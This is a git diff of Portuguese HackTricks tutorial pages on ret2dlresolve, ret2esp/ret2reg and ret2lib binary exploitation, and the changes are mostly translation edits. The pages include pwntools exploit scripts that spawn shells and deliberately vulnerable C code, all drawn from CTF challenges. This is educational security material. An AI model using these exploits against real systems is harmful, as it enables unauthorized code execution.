{% endhint %} diff --git a/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md b/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md index 09879f05e..dd5eead55 100644 --- a/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md +++ b/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md @@ -6,24 +6,24 @@ Aprenda e pratique Hacking GCP: -Suporte ao HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github. +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} -## Informação Básica +## Informações Básicas -Conforme explicado na página sobre [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) e [**Relro**](../common-binary-protections-and-bypasses/relro.md), binários sem Full Relro resolverão símbolos (como endereços para bibliotecas externas) na primeira vez que são utilizados. Essa resolução ocorre chamando a função **`_dl_runtime_resolve`**. +Como explicado na página sobre [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) e [**Relro**](../common-binary-protections-and-bypasses/relro.md), binários sem Full Relro resolverão símbolos (como endereços para bibliotecas externas) na primeira vez que forem usados. Essa resolução ocorre chamando a função **`_dl_runtime_resolve`**. -A função **`_dl_runtime_resolve`** obtém da pilha referências a algumas estruturas que precisa para **resolver** o símbolo especificado. +A função **`_dl_runtime_resolve`** pega do stack referências a algumas estruturas que precisa para **resolver** o símbolo especificado. -Portanto, é possível **falsificar todas essas estruturas** para fazer com que a resolução dinâmica resolva o símbolo solicitado (como a função **`system`**) e o chame com um parâmetro configurado (por exemplo, **`system('/bin/sh')`**). +Portanto, é possível **falsificar todas essas estruturas** para fazer a resolução dinâmica do símbolo solicitado (como a função **`system`**) e chamá-la com um parâmetro configurado (por exemplo, **`system('/bin/sh')`**). -Normalmente, todas essas estruturas são falsificadas criando uma **cadeia ROP inicial que chama `read`** em uma memória gravável, em seguida as **estruturas** e a string **`'/bin/sh'`** são passadas para que sejam armazenadas pelo `read` em uma localização conhecida, e então a cadeia ROP continua chamando **`_dl_runtime_resolve`**, fazendo com que ele **resolva o endereço de `system`** nas estruturas falsas e **chame esse endereço** com o endereço de `$'/bin/sh'`. +Geralmente, todas essas estruturas são falsificadas fazendo uma **cadeia ROP inicial que chama `read`** sobre uma memória gravável, então as **estruturas** e a string **`'/bin/sh'`** são passadas para que sejam armazenadas pela leitura em um local conhecido, e então a cadeia ROP continua chamando **`_dl_runtime_resolve`**, fazendo com que ela **resolva o endereço de `system`** nas estruturas falsas e **chame esse endereço** com o endereço para `'$'/bin/sh'`. {% hint style="success" %} Essa técnica é útil especialmente se não houver gadgets de syscall (para usar técnicas como [**ret2syscall**](rop-syscall-execv/) ou [SROP](srop-sigreturn-oriented-programming/)) e não houver maneiras de vazar endereços da libc. @@ -41,12 +41,12 @@ Ou confira estas páginas para uma explicação passo a passo: ## Resumo do Ataque 1. Escrever estruturas falsas em algum lugar -2. Definir o primeiro argumento do sistema (`$rdi = &'/bin/sh'`) +2. Definir o primeiro argumento da system (`$rdi = &'/bin/sh'`) 3. Definir na pilha os endereços das estruturas para chamar **`_dl_runtime_resolve`** 4. **Chamar** `_dl_runtime_resolve` 5. **`system`** será resolvido e chamado com `'/bin/sh'` como argumento -Da [**documentação do pwntools**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), assim é como um ataque **`ret2dlresolve`** se parece: +Da [**documentação do pwntools**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), é assim que um ataque **`ret2dlresolve`** se parece: ```python context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64')) >>> rop = ROP(elf) @@ -92,7 +92,7 @@ p.sendline(dlresolve.payload) # now the read is called and we pass all the re p.interactive() ``` -### Bruto +### Cru ```python # Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html # This exploit is based off of: https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystack @@ -195,9 +195,24 @@ target.send(paylaod2) # Enjoy the shell! target.interactive() ``` -## Outros Exemplos e Referências +## Outros Exemplos & Referências * [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared) * [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve) * [https://guyinatuxedo.github.io/18-ret2\_csu\_dl/0ctf18\_babystack/index.html](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/0ctf18\_babystack/index.html) -* 32 bits, sem relro, sem canary, nx, sem pie, estouro de buffer pequeno básico e retorno. Para explorá-lo, o estouro de buffer é usado para chamar `read` novamente com uma seção `.bss` e um tamanho maior, para armazenar lá as tabelas falsas `dlresolve` para carregar `system`, retornar ao principal e reutilizar o estouro de buffer inicial para chamar dlresolve e então `system('/bin/sh')`. +* 32bit, sem relro, sem canary, nx, sem pie, overflow básico de buffer pequeno e retorno. Para explorá-lo, o bof é usado para chamar `read` novamente com uma seção `.bss` e um tamanho maior, para armazenar ali as tabelas falsas de `dlresolve` para carregar `system`, retornar ao main e reabusar o bof inicial para chamar dlresolve e então `system('/bin/sh')`. + +{% hint style="success" %} +Aprenda & pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda & pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Support HackTricks + +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). + +
+{% endhint %} diff --git a/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md b/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md index 97ff24961..b3f1216c1 100644 --- a/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md +++ b/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md @@ -1,36 +1,36 @@ # Ret2esp / Ret2reg {% hint style="success" %} -Aprenda e pratique Hacking AWS: [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Suporte ao HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} ## **Ret2esp** -**Porque o ESP (Ponteiro de Pilha) sempre aponta para o topo da pilha**, essa técnica envolve substituir o EIP (Ponteiro de Instrução) pelo endereço de uma instrução **`jmp esp`** ou **`call esp`**. Ao fazer isso, o shellcode é colocado imediatamente após o EIP sobrescrito. Quando a instrução `ret` é executada, o ESP aponta para o próximo endereço, precisamente onde o shellcode está armazenado. +**Porque o ESP (Ponteiro de Pilha) sempre aponta para o topo da pilha**, esta técnica envolve substituir o EIP (Ponteiro de Instrução) pelo endereço de uma instrução **`jmp esp`** ou **`call esp`**. Ao fazer isso, o shellcode é colocado logo após o EIP sobrescrito. Quando a instrução `ret` é executada, o ESP aponta para o próximo endereço, precisamente onde o shellcode está armazenado. -Se o **Address Space Layout Randomization (ASLR)** não estiver ativado no Windows ou Linux, é possível usar as instruções `jmp esp` ou `call esp` encontradas em bibliotecas compartilhadas. No entanto, com o [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ativo, pode ser necessário procurar essas instruções dentro do programa vulnerável em si (e pode ser necessário derrotar o [**PIE**](../common-binary-protections-and-bypasses/pie/)). +Se **Address Space Layout Randomization (ASLR)** não estiver habilitado no Windows ou Linux, é possível usar instruções `jmp esp` ou `call esp` encontradas em bibliotecas compartilhadas. No entanto, com [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ativo, pode ser necessário procurar dentro do próprio programa vulnerável por essas instruções (e pode ser necessário derrotar [**PIE**](../common-binary-protections-and-bypasses/pie/)). -Além disso, ser capaz de colocar o shellcode **após a corrupção do EIP**, em vez de no meio da pilha, garante que quaisquer instruções `push` ou `pop` executadas durante a operação da função não interfiram no shellcode. Essa interferência poderia ocorrer se o shellcode fosse colocado no meio da pilha da função. +Além disso, ser capaz de colocar o shellcode **após a corrupção do EIP**, em vez de no meio da pilha, garante que quaisquer instruções `push` ou `pop` executadas durante a operação da função não interfiram com o shellcode. Essa interferência poderia ocorrer se o shellcode fosse colocado no meio da pilha da função. -### Espaço insuficiente +### Falta de espaço -Se você estiver com espaço insuficiente para escrever após sobrescrever o RIP (talvez apenas alguns bytes), escreva um shellcode **`jmp`** inicial como: +Se você estiver sem espaço para escrever após sobrescrever o RIP (talvez apenas alguns bytes), escreva um shellcode inicial **`jmp`** como: ```armasm sub rsp, 0x30 jmp rsp ``` -E escreva o shellcode no início da pilha. +E escreva o shellcode cedo na pilha. ### Exemplo @@ -54,7 +54,7 @@ pause() p.sendlineafter('RSP!\n', payload) p.interactive() ``` -Você pode ver outro exemplo dessa técnica em [https://guyinatuxedo.github.io/17-stack\_pivot/xctf16\_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/xctf16\_b0verflow/index.html). Há um estouro de buffer sem NX habilitado, é usado um gadget para **reduzir o endereço de `$esp`** e então um `jmp esp;` para pular para o shellcode: +Você pode ver outro exemplo dessa técnica em [https://guyinatuxedo.github.io/17-stack\_pivot/xctf16\_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/xctf16\_b0verflow/index.html). Há um buffer overflow sem NX habilitado, é usado um gadget para **reduzir o endereço de `$esp`** e então um `jmp esp;` para pular para o shellcode: ```python # From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html from pwn import * @@ -91,7 +91,7 @@ target.interactive() ``` ## Ret2reg -Da mesma forma, se soubermos que uma função retorna o endereço onde o shellcode está armazenado, podemos aproveitar as instruções **`call eax`** ou **`jmp eax`** (conhecidas como técnica **ret2eax**), oferecendo outro método para executar nosso shellcode. Assim como eax, **qualquer outro registro** contendo um endereço interessante poderia ser usado (**ret2reg**). +Da mesma forma, se soubermos que uma função retorna o endereço onde o shellcode está armazenado, podemos aproveitar as instruções **`call eax`** ou **`jmp eax`** (conhecidas como técnica **ret2eax**), oferecendo outro método para executar nosso shellcode. Assim como eax, **qualquer outro registrador** contendo um endereço interessante pode ser usado (**ret2reg**). ### Exemplo @@ -105,9 +105,7 @@ Você pode encontrar alguns exemplos aqui: ### Ret2sp -No ARM64, **não existem** instruções que permitem **saltar para o registro SP**. Pode ser possível encontrar um gadget que **move sp para um registro e então salta para esse registro**, mas na libc do meu kali não consegui encontrar nenhum gadget assim: - -{% code overflow="wrap" %} +No ARM64 **não há** instruções que permitem **pular para o registrador SP**. Pode ser possível encontrar um gadget que **move sp para um registrador e então pula para esse registrador**, mas na libc da minha kali não consegui encontrar nenhum gadget assim: ```bash for i in `seq 1 30`; do ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)"; @@ -122,14 +120,16 @@ Os únicos que descobri mudariam o valor do registro onde sp foi copiado antes d ### Ret2reg Se um registro tiver um endereço interessante, é possível pular para ele apenas encontrando a instrução adequada. Você poderia usar algo como: + +{% code overflow="wrap" %} ```bash ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?"; ``` {% endcode %} -No ARM64, é o **`x0`** que armazena o valor de retorno de uma função, então poderia ser que x0 armazene o endereço de um buffer controlado pelo usuário com um shellcode para executar. +Em ARM64, é **`x0`** que armazena o valor de retorno de uma função, então pode ser que x0 armazene o endereço de um buffer controlado pelo usuário com um shellcode para executar. -Código de exemplo: +Exemplo de código: ```c // clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack @@ -154,7 +154,7 @@ do_stuff(2) return 0; } ``` -Verificando a desmontagem da função, é possível ver que o **endereço do buffer** (vulnerável a bof e **controlado pelo usuário**) é **armazenado em `x0`** antes de retornar do estouro de buffer: +Verificando a desassemblagem da função, é possível ver que o **endereço do buffer** (vulnerável a bof e **controlado pelo usuário**) é **armazenado em `x0`** antes de retornar do buffer overflow:
@@ -162,7 +162,7 @@ Também é possível encontrar o gadget **`br x0`** na função **`do_stuff`**:
-Vamos usar esse gadget para pular para ele porque o binário é compilado **SEM PIE**. Usando um padrão, é possível ver que o **deslocamento do estouro de buffer é 80**, então o exploit seria: +Usaremos esse gadget para pular para ele porque o binário é compilado **SEM PIE.** Usando um padrão, é possível ver que o **offset do buffer overflow é 80**, então o exploit seria: ```python from pwn import * @@ -178,16 +178,16 @@ p.sendline(payload) p.interactive() ``` {% hint style="warning" %} -Se em vez de `fgets` fosse usado algo como **`read`**, teria sido possível contornar o PIE também **apenas sobrescrevendo os últimos 2 bytes do endereço de retorno** para retornar à instrução `br x0;` sem precisar saber o endereço completo.\ -Com `fgets` não funciona porque **adiciona um byte nulo (0x00) no final**. +Se em vez de `fgets` fosse usado algo como **`read`**, seria possível contornar o PIE também **apenas sobrescrevendo os últimos 2 bytes do endereço de retorno** para retornar à instrução `br x0;` sem precisar saber o endereço completo.\ +Com `fgets` isso não funciona porque **adiciona um byte nulo (0x00) no final**. {% endhint %} -## Protections +## Proteções * [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Se a pilha não for executável, isso não ajudará, pois precisamos colocar o shellcode na pilha e pular para executá-lo. -* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Isso pode dificultar encontrar uma instrução para pular para esp ou qualquer outro registro. +* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Esses podem dificultar a localização de uma instrução para pular para esp ou qualquer outro registrador. -## References +## Referências * [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode) * [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) @@ -198,11 +198,11 @@ Aprenda e pratique Hacking GCP: -Suporte ao HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} diff --git a/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md b/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md index 54bc2e30a..44b39500e 100644 --- a/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md +++ b/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md @@ -1,52 +1,54 @@ # Ret2lib {% hint style="success" %} -Aprenda e pratique Hacking AWS: [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Suporte ao HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} ## **Informações Básicas** -A essência do **Ret2Libc** é redirecionar o fluxo de execução de um programa vulnerável para uma função dentro de uma biblioteca compartilhada (por exemplo, **system**, **execve**, **strcpy**) em vez de executar shellcode fornecido pelo atacante na pilha. O atacante cria um payload que modifica o endereço de retorno na pilha para apontar para a função da biblioteca desejada, ao mesmo tempo que organiza para que quaisquer argumentos necessários sejam configurados corretamente de acordo com a convenção de chamada. +A essência do **Ret2Libc** é redirecionar o fluxo de execução de um programa vulnerável para uma função dentro de uma biblioteca compartilhada (por exemplo, **system**, **execve**, **strcpy**) em vez de executar shellcode fornecido pelo atacante na pilha. O atacante cria um payload que modifica o endereço de retorno na pilha para apontar para a função da biblioteca desejada, enquanto também organiza para que quaisquer argumentos necessários sejam configurados corretamente de acordo com a convenção de chamada. -### **Passos de Exemplo (simplificados)** +### **Exemplo de Passos (simplificado)** -* Obter o endereço da função a ser chamada (por exemplo, system) e o comando a ser chamado (por exemplo, /bin/sh) -* Gerar uma cadeia ROP para passar o primeiro argumento apontando para a string de comando e o fluxo de execução para a função +* Obtenha o endereço da função a ser chamada (por exemplo, system) e o comando a ser chamado (por exemplo, /bin/sh) +* Gere uma cadeia ROP para passar o primeiro argumento apontando para a string do comando e o fluxo de execução para a função ## Encontrando os endereços -* Supondo que a `libc` usada seja a do computador atual, você pode encontrar onde ela será carregada na memória com: +* Supondo que a `libc` utilizada seja a da máquina atual, você pode encontrar onde ela será carregada na memória com: {% code overflow="wrap" %} ```bash ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time) ``` -{% Se você quiser verificar se o ASLR está alterando o endereço da libc, você pode fazer: %} +{% endcode %} + +Se você quiser verificar se o ASLR está mudando o endereço da libc, você pode fazer: ```bash for i in `seq 0 20`; do ldd ./ | grep libc; done ``` -* Sabendo qual libc está sendo usada, também é possível encontrar o deslocamento para a função `system` com: +* Sabendo a libc utilizada, também é possível encontrar o offset para a função `system` com: ```bash readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system ``` -* Sabendo qual libc está sendo usada, também é possível encontrar o deslocamento para a função da string `/bin/sh` com: +* Sabendo a libc utilizada, também é possível encontrar o deslocamento para a string `/bin/sh` com: ```bash strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh ``` ### Usando gdb-peda / GEF -Ao saber qual libc está sendo usada, também é possível usar Peda ou GEF para obter o endereço da função **system**, da função **exit** e da string **`/bin/sh`**: +Sabendo a libc utilizada, também é possível usar Peda ou GEF para obter o endereço da função **system**, da função **exit** e da string **`/bin/sh`** : ```bash p system p exit @@ -60,39 +62,39 @@ Aqui você pode encontrar **exatamente onde a libc está carregada** dentro do p ![](<../../../.gitbook/assets/image (853).png>) -Neste caso, ela está carregada em **0xb75dc000** (Este será o endereço base da libc) +Neste caso, está carregada em **0xb75dc000** (Este será o endereço base da libc) ## Libc desconhecida -Pode ser possível que você **não saiba qual libc a binário está carregando** (porque pode estar localizada em um servidor onde você não tem acesso). Nesse caso, você poderia abusar da vulnerabilidade para **vazar alguns endereços e descobrir qual biblioteca libc** está sendo usada: +Pode ser possível que você **não saiba qual libc o binário está carregando** (porque pode estar localizado em um servidor onde você não tem acesso). Nesse caso, você poderia abusar da vulnerabilidade para **vazar alguns endereços e descobrir qual biblioteca libc** está sendo usada: {% content-ref url="rop-leaking-libc-address/" %} [rop-leaking-libc-address](rop-leaking-libc-address/) {% endcontent-ref %} -E você pode encontrar um modelo do pwntools para isso em: +E você pode encontrar um template do pwntools para isso em: {% content-ref url="rop-leaking-libc-address/rop-leaking-libc-template.md" %} [rop-leaking-libc-template.md](rop-leaking-libc-address/rop-leaking-libc-template.md) {% endcontent-ref %} -### Conheça a libc com 2 offsets +### Conhecendo a libc com 2 offsets -Verifique a página [https://libc.blukat.me/](https://libc.blukat.me/) e use um **par de endereços** de funções dentro da libc para descobrir a **versão utilizada**. +Verifique a página [https://libc.blukat.me/](https://libc.blukat.me/) e use um **casal de endereços** de funções dentro da libc para descobrir a **versão utilizada**. -## Bypassing ASLR em 32 bits +## Contornando ASLR em 32 bits Esses ataques de força bruta são **úteis apenas para sistemas de 32 bits**. -* Se o exploit for local, você pode tentar forçar a base de endereço da libc (útil para sistemas de 32 bits): +* Se o exploit for local, você pode tentar forçar o endereço base da libc (útil para sistemas de 32 bits): ```python for off in range(0xb7000000, 0xb8000000, 0x1000): ``` -* Ao atacar um servidor remoto, você pode tentar **forçar o endereço da função `libc` `usleep`**, passando como argumento 10 (por exemplo). Se em algum momento o **servidor demorar 10s extras para responder**, você encontrou o endereço dessa função. +* Se você estiver atacando um servidor remoto, pode tentar **forçar a descoberta do endereço da função `usleep` da `libc`**, passando como argumento 10 (por exemplo). Se em algum momento o **servidor levar 10s a mais para responder**, você encontrou o endereço dessa função. ## One Gadget -Execute um shell apenas pulando para **um** endereço específico **no** `libc`: +Execute um shell apenas pulando para **um** **endereço** específico na libc: {% content-ref url="one-gadget.md" %} [one-gadget.md](one-gadget.md) @@ -100,7 +102,7 @@ Execute um shell apenas pulando para **um** endereço específico **no** `libc`: ## Exemplo de Código x86 Ret2lib -Neste exemplo, o brute-force do ASLR está integrado no código e o binário vulnerável está localizado em um servidor remoto: +Neste exemplo, a força bruta do ASLR está integrada no código e o binário vulnerável está localizado em um servidor remoto: ```python from pwn import * @@ -116,7 +118,7 @@ payload = 'A'*0x20010 + p c.send(payload) c.interactive() ``` -## Exemplo de Código x64 Ret2lib +## x64 Ret2lib Exemplo de Código Verifique o exemplo em: @@ -124,11 +126,11 @@ Verifique o exemplo em: [..](../) {% endcontent-ref %} -## Exemplo ARM64 Ret2lib +## Exemplo Ret2lib ARM64 -No caso do ARM64, a instrução ret salta para onde o registro x30 está apontando e não para onde o registro de pilha está apontando. Portanto, é um pouco mais complicado. +No caso do ARM64, a instrução ret salta para onde o registrador x30 está apontando e não para onde o registrador da pilha está apontando. Portanto, é um pouco mais complicado. -Também no ARM64, uma instrução faz o que a instrução faz (não é possível pular no meio das instruções e transformá-las em novas). +Além disso, no ARM64, uma instrução faz o que a instrução faz (não é possível saltar no meio das instruções e transformá-las em novas). Verifique o exemplo em: @@ -138,7 +140,7 @@ Verifique o exemplo em: ## Ret-into-printf (ou puts) -Isso permite **vazar informações do processo** chamando `printf`/`puts` com alguns dados específicos colocados como argumento. Por exemplo, colocar o endereço de `puts` na GOT em uma execução de `puts` irá **vazar o endereço de `puts` na memória**. +Isso permite **vazar informações do processo** chamando `printf`/`puts` com alguns dados específicos colocados como argumento. Por exemplo, colocar o endereço de `puts` no GOT em uma execução de `puts` irá **vazar o endereço de `puts` na memória**. ## Ret2printf @@ -148,17 +150,32 @@ Isso basicamente significa abusar de um **Ret2lib para transformá-lo em uma vul [format-strings](../../format-strings/) {% endcontent-ref %} -## Outros Exemplos e Referências +## Outros Exemplos & referências * [https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html) -* Ret2lib, dado um vazamento para o endereço de uma função na libc, usando um gadget +* Ret2lib, dado um leak para o endereço de uma função na libc, usando um gadget * [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html) -* 64 bits, ASLR ativado mas sem PIE, o primeiro passo é preencher um estouro até o byte 0x00 do canário para então chamar puts e vazá-lo. Com o canário, um gadget ROP é criado para chamar puts e vazar o endereço de puts da GOT e um gadget ROP para chamar `system('/bin/sh')` +* 64 bits, ASLR habilitado, mas sem PIE, o primeiro passo é preencher um overflow até o byte 0x00 do canário para então chamar puts e vazá-lo. Com o canário, um gadget ROP é criado para chamar puts para vazar o endereço de puts do GOT e um gadget ROP para chamar `system('/bin/sh')` * [https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html) -* 64 bits, ASLR ativado, sem canário, estouro de pilha em main a partir de uma função filha. Gadget ROP para chamar puts e vazar o endereço de puts da GOT e então chamar um gadget. +* 64 bits, ASLR habilitado, sem canário, overflow de pilha na função principal de uma função filha. Gadget ROP para chamar puts para vazar o endereço de puts do GOT e então chamar um gadget. * [https://guyinatuxedo.github.io/08-bof\_dynamic/hs19\_storytime/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/hs19\_storytime/index.html) * 64 bits, sem pie, sem canário, sem relro, nx. Usa a função write para vazar o endereço de write (libc) e chama um gadget. * [https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html) -* Usa uma string de formato para vazar o canário da pilha e um estouro de buffer para chamar o sistema (está na GOT) com o endereço de `/bin/sh`. +* Usa uma string de formato para vazar o canário da pilha e um buffer overflow para chamar system (está no GOT) com o endereço de `/bin/sh`. * [https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html) -* 32 bits, sem relro, sem canário, nx, pie. Abusa de um mau indexador para vazar endereços de libc e heap da pilha. Abusa do estouro de buffer para fazer um ret2lib chamando `system('/bin/sh')` (o endereço do heap é necessário para contornar uma verificação). +* 32 bits, sem relro, sem canário, nx, pie. Abusa de um indexação ruim para vazar endereços da libc e heap da pilha. Abusa do buffer overflow para fazer um ret2lib chamando `system('/bin/sh')` (o endereço da heap é necessário para contornar uma verificação). + +{% hint style="success" %} +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Support HackTricks + +* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos no** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github. + +
